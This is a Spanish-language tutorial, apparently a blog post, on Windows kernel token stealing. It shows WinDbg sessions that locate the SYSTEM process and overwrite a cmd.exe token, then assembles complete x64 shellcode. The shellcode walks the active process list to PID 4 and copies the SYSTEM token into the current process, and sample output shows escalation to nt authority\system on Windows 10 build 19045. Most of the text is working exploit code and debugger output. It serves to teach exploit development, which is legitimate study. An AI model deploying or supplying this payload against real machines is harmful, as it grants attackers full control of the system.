Token Stealing
La primera técnica es algo llamado Token Stealing que consiste en copiar token de un proceso privilegiado al proceso actual robando con él sus privilegios, resulta que en windows existe un proceso llamado SYSTEM al cual le pertenece el pid 4, este alberga la mayoria de subprocesos del sistema en modo kernel, ya que alberga la ejecución del código en modo kernel este debería estar en un contexto de privilegios de administrador por lo que podemos usarlo como base para nuestro shellcode.
0: kd> !process 0 0 System
PROCESS ffff8688a5c99080
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad000 ObjectTable: ffffb60e7c05bf00 HandleCount: 3042.
Image: System
La dirección que nos otorga el primer resultado es la de la estructura _EPROCESS de SYSTEM, entre los atributos de la estructura en el offset 0x4b8 encontramos lo primero interesante para nuestro shellcode, esto es el campo Token del proceso.
0: kd> dt nt!_EPROCESS 0xffff8688a5c99080
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : 0x00000000`00000004 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]
+0x458 RundownProtect : _EX_RUNDOWN_REF
+0x460 Flags2 : 0xd000
................................
+0x4b0 ExceptionPortData : (null)
+0x4b0 ExceptionPortValue : 0
+0x4b0 ExceptionPortState : 0y000
+0x4b8 Token : _EX_FAST_REF
El campo Token se muestra como una estructura _EX_FAST_REF, esta almacena 3 atributos entre los cuales cambia solo el tipo de dato, ya que el offset se mantiene.
0: kd> dt nt!_EX_FAST_REF
+0x000 Object : Ptr64 Void
+0x000 RefCnt : Pos 0, 4 Bits
+0x000 Value : Uint8B
En esta estructura se almacena nuestro token, esto podemos verlo accediendo al valor en el offset 0x4b8 del proceso, luego limpiaremos el valor de RefCnt.
0: kd> dt nt!_EX_FAST_REF 0xffff8688a5c99080 + 0x4b8
+0x000 Object : 0xffffb60e`7c036895 Void
+0x000 RefCnt : 0y0101
+0x000 Value : 0xffffb60e`7c036895
El campo RefCnt es igual a 0y0101 que equivale a 5 en decimal, usando and podemos limpiar el ultimo bit, el resultado que obtenemos es 5, lo que nos interesa es el valor opuesto, osea el token con este bit limpio, para ello usaremos & -0xf.
0: kd> ? 0y0101
Evaluate expression: 5 = 00000000`00000005
0: kd> ? 0xffffb60e7c036895 & 0xf
Evaluate expression: 5 = 00000000`00000005
0:000> ? 0xffffb60e7c036895 & -0xf
Evaluate expression: -81301650315119 = ffffb60e`7c036891
De esta forma tenemos el token sin procesar, en este punto podemos copiarlo a otro proceso, nada mejor que hacerlo a una cmd.exe para comprobar su funcionamiento.
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user> whoami
windows\user
C:\Users\user>
Después de generar el proceso identificaremos la dirección del proceso, luego de ello podemos sobrescribir el token por el que conseguimos anteriormente de SYSTEM.
0: kd> !process 0 0 cmd.exe
PROCESS ffff8688ad974080
SessionId: 1 Cid: 1e5c Peb: c21129d000 ParentCid: 14e0
DirBase: ac421000 ObjectTable: ffffb60e8166c3c0 HandleCount: 80.
Image: cmd.exe
0: kd> eq (0xffff8688ad974080 + 0x4b8) 0xffffb60e7c036891
0: kd> g
Como resultado, al volver a la cmd.exe y comprobar el usuario y privilegios, ahora es nt authority\system ya que hemos suplantado todos los privilegios con el token.
C:\Users\user> whoami
nt authority\system
C:\Users\user>
El plan es hacer algo similar a lo de antes desde un shellcode pero en lugar de una cmd al proceso actual, pero para ello primero necesitamos obtener la dirección del token en el proceso actual, según documentación la función PsGetCurrentProcess deberia devolver un puntero al EPROCESS actual, podemos partir de esa base.
0: kd> u nt!PsGetCurrentProcess L3
nt!PsGetCurrentProcess:
fffff807`04086700 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff807`04086709 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff807`04086710 c3 ret
La primera instrucción de PsGetCurrentProcess utiliza el segmento gs con un offset de 0x188, esto es el puntero a la entrada KTRHEAD en la estructura ETHREAD, podemos verificar que KiInitialThread representa la dirección del hilo actual, sin embargo necesitamos la dirección del proceso padre pero es un buen avance.
0: kd> dqs gs:[0x188] L1
002b:00000000`00000188 ffff8688`a5cdf080
0: kd> !thread -p
PROCESS ffff8688a5c99080
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad000 ObjectTable: ffffb60e7c05bf00 HandleCount: 2965.
Image: System
THREAD ffff8688a5cdf080 Cid 0004.0070 Teb: 0000000000000000 Win32Thread: 0000000000000000 RUNNING on processor 0
Not impersonating
La siguiente instrucción de PsGetCurrentProcess mueve el contenido de la dirección anterior más un offset de 0xb8, la lógica nos dice que esta será la dirección del proceso actual ya que la siguiente es un ret, esto podemos comprobarlo desplegando la estructura _EPROCESS y pasándole como valor lo que creemos es la dirección del proceso actual, se muestra el PID 4 de system por lo que es correcto.
0: kd> dt nt!_EPROCESS poi(nt!KiInitialThread + 0xb8)
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : 0x00000000`00000004 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]
+0x458 RundownProtect : _EX_RUNDOWN_REF
+0x460 Flags2 : 0xd000
Iniciemos a escribir el shellcode, las instrucciones de PsGetCurrentProcess nos servirán para obtener la dirección del proceso actual que guardaremos en rbx.
global _start
_start:
mov rdx, [gs:0x188] ; $rdx = _KTHREAD
mov rax, [rdx + 0xb8] ; $rax = _EPROCESS
mov rbx, rax ; $rbx = _EPROCESS
Un elemento interesante de _EPROCESS es el campo ActiveProcessLinks que es una estructura _LIST_ENTRY, esta es una lista doblemente enlazada que quiere decir que cada elemento apunta al anterior y siguiente elemento, esta lista se encarga del registro de todos los procesos activos por lo que deberiamos encontrar a SYSTEM.
0: kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x438 ProcessLock : _EX_PUSH_LOCK
+0x440 UniqueProcessId : Ptr64 Void
+0x448 ActiveProcessLinks : _LIST_ENTRY
+0x458 RundownProtect : _EX_RUNDOWN_REF
+0x460 Flags2 : Uint4B
0: kd> dt nt!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
Podemos escribir un bucle que se encargue de recorrer esta lista y comparar el PID del proceso con 4, el cual pertenece a SYSTEM hasta encontrar su dirección.
.loop:
mov rbx, [rbx + 0x448] ; $rbx = ActiveProcessLinks
sub rbx, 0x448 ; $rbx = _EPROCESS
cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
jnz .loop ; if zf == 0 -> loop
Una vez encontramos la estructura del proceso SYSTEM podemos obtener el token de este y copiarlo a nuestro proceso actual, no sin antes limpiar el valor RefCnt.
mov rcx, [rbx + 0x4b8] ; $rcx = SYSTEM token
and cl, 0xf0 ; clear _EX_FAST_REF struct
mov [rax + 0x4b8], rcx ; store SYSTEM token in _EPROCESS
Para finalizar podriamos simplemente retornar al proceso original que ejecutó el shellcode con ret y continuar su ejecución normal sin que haya errores de kernel.
ret ; return
Nuestro shellcode final para token stealing se ve de la siguiente forma, mediante un bucle recorre toda la lista de procesos hasta encontrar el proceso 4 de System, cuando lo encuentra copia su campo Token al mismo campo del proceso actual.
global _start
_start:
mov rdx, [gs:0x188] ; $rdx = _KTHREAD
mov rax, [rdx + 0xb8] ; $rax = _EPROCESS
mov rbx, rax ; $rbx = _EPROCESS
.loop:
mov rbx, [rbx + 0x448] ; $rbx = ActiveProcessLinks
sub rbx, 0x448 ; $rbx = _EPROCESS
cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
jnz .loop ; if zf == 0 -> loop
mov rcx, [rbx + 0x4b8] ; $rcx = SYSTEM token
and cl, 0xf0 ; clear _EX_FAST_REF struct
mov [rax + 0x4b8], rcx ; store SYSTEM token in _EPROCESS
ret ; return
Su uso es simple, luego de explotar una vulnerabilidad y ejecutar el shellcode habremos modificado el token del proceso actual por el de SYSTEM, al lanzar una cmd.exe conseguimos obtener una shell con privilegios máximos sobre el equipo.
system("cmd.exe");
C:\Users\user\Desktop> whoami
windows\user
C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.
C:\Users\user\Desktop> whoami
nt authority\system
C:\Users\user\Desktop>






